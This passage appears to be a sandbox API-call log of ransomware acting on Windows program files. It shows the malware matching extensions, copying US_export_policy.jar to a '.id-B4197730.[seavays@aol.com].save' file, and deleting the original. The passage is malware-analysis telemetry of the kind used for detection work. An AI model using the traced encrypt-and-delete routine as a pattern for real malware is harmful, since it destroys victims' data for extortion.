(normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\trusted.libraries"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434 [0170.916] GetFileSizeEx (in: hFile=0x434, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=0) returned 1 [0170.916] CloseHandle (hObject=0x434) returned 1 [0170.916] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0170.916] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0170.916] lstrlenW (lpString=".doc") returned 4 [0170.916] lstrcmpiW (lpString1=".doc", lpString2="ries") returned -1 [0170.916] lstrlenW (lpString=".docx") returned 5 [0170.916] lstrcmpiW (lpString1=".docx", lpString2="aries") returned -1 [0170.916] lstrlenW (lpString=".pdf") returned 4 [0170.916] lstrcmpiW (lpString1=".pdf", lpString2="ries") returned -1 [0170.916] lstrlenW (lpString=".xls") returned 4 [0170.916] lstrcmpiW (lpString1=".xls", lpString2="ries") returned -1 [0170.916] lstrlenW (lpString=".xlsx") returned 5 [0170.916] lstrcmpiW (lpString1=".xlsx", lpString2="aries") returned -1 [0170.916] lstrlenW (lpString=".ppt") returned 4 [0170.916] lstrcmpiW (lpString1=".ppt", lpString2="ries") returned -1 [0170.916] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0170.916] lstrlenW (lpString=".zip") returned 4 [0170.916] lstrcmpiW (lpString1=".zip", lpString2="ries") returned -1 [0170.916] lstrlenW (lpString=".rar") returned 4 [0170.917] lstrcmpiW (lpString1=".rar", lpString2="ries") returned -1 [0170.917] lstrlenW (lpString=".bz2") returned 4 [0170.917] lstrcmpiW (lpString1=".bz2", lpString2="ries") returned -1 [0170.917] lstrlenW (lpString=".7z") returned 3 [0170.917] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0170.917] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0170.917] lstrlenW (lpString=".dbf") returned 4 [0170.917] lstrcmpiW (lpString1=".dbf", lpString2="ries") returned -1 [0170.917] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0170.917] lstrlenW (lpString=".1cd") returned 4 [0170.917] lstrcmpiW (lpString1=".1cd", lpString2="ries") returned -1 [0170.917] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0170.917] lstrlenW (lpString=".jpg") returned 4 [0170.917] lstrcmpiW (lpString1=".jpg", lpString2="ries") returned -1 [0170.917] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0170.917] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0170.917] lstrlenW (lpString=".doc") returned 4 [0170.917] lstrcmpiW (lpString1=".doc", lpString2="ries") returned -1 [0170.917] lstrlenW (lpString=".docx") returned 5 [0170.917] lstrcmpiW (lpString1=".docx", lpString2="aries") returned -1 [0170.917] lstrlenW (lpString=".pdf") returned 4 [0170.917] lstrcmpiW (lpString1=".pdf", lpString2="ries") returned -1 [0170.917] lstrlenW (lpString=".xls") returned 4 [0170.917] lstrcmpiW (lpString1=".xls", lpString2="ries") returned -1 [0170.917] lstrlenW (lpString=".xlsx") returned 5 [0170.917] lstrcmpiW (lpString1=".xlsx", lpString2="aries") returned -1 [0170.917] lstrlenW (lpString=".ppt") returned 4 [0170.917] lstrcmpiW (lpString1=".ppt", lpString2="ries") returned -1 [0170.917] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0170.917] lstrlenW (lpString=".zip") returned 4 [0170.917] lstrcmpiW (lpString1=".zip", lpString2="ries") returned -1 [0170.917] lstrlenW (lpString=".rar") returned 4 [0170.918] lstrcmpiW (lpString1=".rar", lpString2="ries") returned -1 [0170.918] lstrlenW (lpString=".bz2") returned 4 [0170.918] lstrcmpiW (lpString1=".bz2", lpString2="ries") returned -1 [0170.918] lstrlenW (lpString=".7z") returned 3 [0170.918] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0170.918] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0170.918] lstrlenW (lpString=".dbf") returned 4 [0170.918] lstrcmpiW (lpString1=".dbf", lpString2="ries") returned -1 [0170.918] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0170.918] lstrlenW (lpString=".1cd") returned 4 [0170.918] lstrcmpiW (lpString1=".1cd", lpString2="ries") returned -1 [0170.918] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 65 [0170.918] lstrlenW (lpString=".jpg") returned 4 [0170.918] lstrcmpiW (lpString1=".jpg", lpString2="ries") returned -1 [0170.918] lstrcmpiW (lpString1=".jar", lpString2=".save") returned -1 [0170.918] lstrlenW (lpString="US_export_policy.jar") returned 20 [0170.918] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434 [0170.919] GetFileSizeEx (in: hFile=0x434, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=3026) returned 1 [0170.919] CloseHandle (hObject=0x434) returned 1 [0170.919] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar")) returned 0x20 [0170.920] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0170.920] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434 [0170.920] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0170.920] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0170.920] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0170.921] GetLastError () returned 0x0 [0170.921] ReadFile (in: hFile=0x434, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0xbd2, lpOverlapped=0x0) returned 1 [0170.923] WriteFile (in: hFile=0x528, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0xbe0, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0xbe0, lpOverlapped=0x0) returned 1 [0170.924] ReadFile (in: hFile=0x434, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0170.924] WriteFile (in: hFile=0x528, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0xfc, lpOverlapped=0x0) returned 1 [0170.924] SetEndOfFile (hFile=0x528) returned 1 [0170.924] CloseHandle (hObject=0x528) returned 1 [0170.924] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0170.924] SetEndOfFile (hFile=0x434) returned 1 [0170.931] CloseHandle (hObject=0x434) returned 1 [0170.931] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0170.931] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar")) returned 1 [0170.932] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0170.932] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0170.932] lstrlenW (lpString=".doc") returned 4 [0170.932] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0170.932] lstrlenW (lpString=".docx") returned 5 [0170.932] lstrcmpiW (lpString1=".docx", lpString2="y.jar") returned -1 [0170.932] lstrlenW (lpString=".pdf") returned 4 [0170.932] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0170.932] lstrlenW (lpString=".xls") returned 4 [0170.932] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0170.932] lstrlenW (lpString=".xlsx") returned 5 [0170.932] lstrcmpiW (lpString1=".xlsx", lpString2="y.jar") returned -1 [0170.932] lstrlenW (lpString=".ppt") returned 4 [0170.932] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0170.932] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0170.932] lstrlenW (lpString=".zip") returned 4 [0170.932] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0170.932] lstrlenW (lpString=".rar") returned 4 [0170.932] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0170.932] lstrlenW (lpString=".bz2") returned 4 [0170.933] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0170.933] lstrlenW (lpString=".7z") returned 3 [0170.933] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0170.933] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0170.933] lstrlenW (lpString=".dbf") returned 4 [0170.933] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0170.933] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0170.933] lstrlenW (lpString=".1cd") returned 4 [0170.933] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0170.933] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0170.933] lstrlenW (lpString=".jpg") returned 4 [0170.933] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0170.933] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0170.933] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0170.933] lstrlenW (lpString=".doc") returned 4 [0170.933] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0170.933] lstrlenW (lpString=".docx") returned 5 [0170.933] lstrcmpiW (lpString1=".docx", lpString2="y.jar") returned -1 [0170.933] lstrlenW (lpString=".pdf") returned 4 [0170.933] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0170.933] lstrlenW (lpString=".xls") returned 4 [0170.933] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0170.933] lstrlenW (lpString=".xlsx") returned 5 [0170.933] lstrcmpiW (lpString1=".xlsx", lpString2="y.jar") returned -1 [0170.933] lstrlenW (lpString=".ppt") returned 4 [0170.933] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0170.933] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0170.933] lstrlenW (lpString=".zip") returned 4 [0170.933] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0170.933] lstrlenW (lpString=".rar") returned 4 [0170.933] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0170.933] lstrlenW (lpString=".bz2") returned 4 [0170.934] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0170.934] lstrlenW (lpString=".7z") returned 3 [0170.934] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0170.934] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0170.934] lstrlenW (lpString=".dbf") returned 4 [0170.934] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0170.934] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0170.934] lstrlenW (lpString=".1cd") returned 4 [0170.934] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0171.180] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 68 [0171.180] lstrlenW (lpString=".jpg") returned 4 [0171.180] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0171.180] lstrcmpiW (lpString1=".EXE", lpString2=".save") returned -1 [0171.180] lstrlenW (lpString="OSPPREARM.EXE") returned 13 [0171.180] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE" (normalized: "c:\\program files\\microsoft office\\office16\\ospprearm.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510 [0171.184] GetFileSizeEx (in: hFile=0x510, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=27200) returned 1 [0171.184] CloseHandle (hObject=0x510) returned 1 [0171.184] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE" (normalized: "c:\\program files\\microsoft office\\office16\\ospprearm.exe")) returned 0x20 [0171.184] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\office16\\ospprearm.exe.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0171.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE" (normalized: "c:\\program files\\microsoft office\\office16\\ospprearm.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56 [0171.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56 [0171.185] lstrlenW (lpString=".doc") returned 4 [0171.185] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0171.185] lstrlenW (lpString=".docx") returned 5 [0171.185] lstrcmpiW (lpString1=".docx", lpString2="M.EXE") returned -1 [0171.185] lstrlenW (lpString=".pdf") returned 4 [0171.185] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0171.185] lstrlenW (lpString=".xls") returned 4 [0171.185] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0171.185] lstrlenW (lpString=".xlsx") returned 5 [0171.185] lstrcmpiW (lpString1=".xlsx", lpString2="M.EXE") returned -1 [0171.185] lstrlenW (lpString=".ppt") returned 4 [0171.185] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0171.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56 [0171.185] lstrlenW (lpString=".zip") returned 4 [0171.185] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0171.185] lstrlenW (lpString=".rar") returned 4 [0171.185] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0171.185] lstrlenW (lpString=".bz2") returned 4 [0171.185] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0171.185] lstrlenW (lpString=".7z") returned 3 [0171.185] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0171.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56 [0171.186] lstrlenW (lpString=".dbf") returned 4 [0171.186] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0171.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56 [0171.186] lstrlenW (lpString=".1cd") returned 4 [0171.186] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0171.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56 [0171.186] lstrlenW (lpString=".jpg") returned 4 [0171.186] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0171.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56 [0171.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56 [0171.186] lstrlenW (lpString=".doc") returned 4 [0171.186] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0171.186] lstrlenW (lpString=".docx") returned 5 [0171.186] lstrcmpiW (lpString1=".docx", lpString2="M.EXE") returned -1 [0171.186] lstrlenW (lpString=".pdf") returned 4 [0171.186] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0171.186] lstrlenW (lpString=".xls") returned 4 [0171.186] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0171.186] lstrlenW (lpString=".xlsx") returned 5 [0171.186] lstrcmpiW (lpString1=".xlsx", lpString2="M.EXE") returned -1 [0171.186] lstrlenW (lpString=".ppt") returned 4 [0171.186] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0171.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56 [0171.186] lstrlenW (lpString=".zip") returned 4 [0171.186] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0171.186] lstrlenW (lpString=".rar") returned 4 [0171.186] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0171.186] lstrlenW (lpString=".bz2") returned 4 [0171.186] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0171.186] lstrlenW (lpString=".7z") returned 3 [0171.187] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0171.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56 [0171.187] lstrlenW (lpString=".dbf") returned 4 [0171.187] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0171.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56 [0171.187] lstrlenW (lpString=".1cd") returned 4 [0171.187] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0171.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPPREARM.EXE") returned 56 [0171.187] lstrlenW (lpString=".jpg") returned 4 [0171.187] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0171.187] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0171.187] lstrlenW (lpString="api-ms-win-core-file-l1-2-0.dll") returned 31 [0171.187] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510 [0171.192] GetFileSizeEx (in: hFile=0x510, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=18624) returned 1 [0171.192] CloseHandle (hObject=0x510) returned 1 [0171.192] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l1-2-0.dll")) returned 0x220 [0171.192] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l1-2-0.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0171.192] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0171.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0171.193] lstrlenW (lpString=".doc") returned 4 [0171.193] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0171.193] lstrlenW (lpString=".docx") returned 5 [0171.193] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0171.193] lstrlenW (lpString=".pdf") returned 4 [0171.193] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0171.193] lstrlenW (lpString=".xls") returned 4 [0171.193] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0171.193] lstrlenW (lpString=".xlsx") returned 5 [0171.193] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0171.193] lstrlenW (lpString=".ppt") returned 4 [0171.193] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0171.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0171.193] lstrlenW (lpString=".zip") returned 4 [0171.193] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0171.193] lstrlenW (lpString=".rar") returned 4 [0171.193] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0171.193] lstrlenW (lpString=".bz2") returned 4 [0171.193] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0171.193] lstrlenW (lpString=".7z") returned 3 [0171.193] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0171.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0171.193] lstrlenW (lpString=".dbf") returned 4 [0171.194] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0171.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0171.194] lstrlenW (lpString=".1cd") returned 4 [0171.194] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0171.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0171.194] lstrlenW (lpString=".jpg") returned 4 [0171.194] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0171.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0171.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0171.194] lstrlenW (lpString=".doc") returned 4 [0171.194] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0171.194] lstrlenW (lpString=".docx") returned 5 [0171.194] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0171.194] lstrlenW (lpString=".pdf") returned 4 [0171.194] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0171.194] lstrlenW (lpString=".xls") returned 4 [0171.194] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0171.194] lstrlenW (lpString=".xlsx") returned 5 [0171.194] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0171.194] lstrlenW (lpString=".ppt") returned 4 [0171.194] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0171.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0171.194] lstrlenW (lpString=".zip") returned 4 [0171.194] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0171.194] lstrlenW (lpString=".rar") returned 4 [0171.195] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0171.195] lstrlenW (lpString=".bz2") returned 4 [0171.195] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0171.195] lstrlenW (lpString=".7z") returned 3 [0171.195] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0171.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0171.195] lstrlenW (lpString=".dbf") returned 4 [0171.195] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0171.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0171.195] lstrlenW (lpString=".1cd") returned 4 [0171.195] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0171.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77 [0171.195] lstrlenW (lpString=".jpg") returned 4 [0171.195] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0171.195] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0171.195] lstrlenW (lpString="api-ms-win-core-file-l2-1-0.dll") returned 31 [0171.195] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l2-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510 [0171.197] GetFileSizeEx (in: hFile=0x510, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=18624) returned 1 [0171.197] CloseHandle (hObject=0x510) returned 1 [0171.197] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l2-1-0.dll")) returned 0x220 [0171.197] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l2-1-0.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0171.198] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l2-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77 [0171.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77 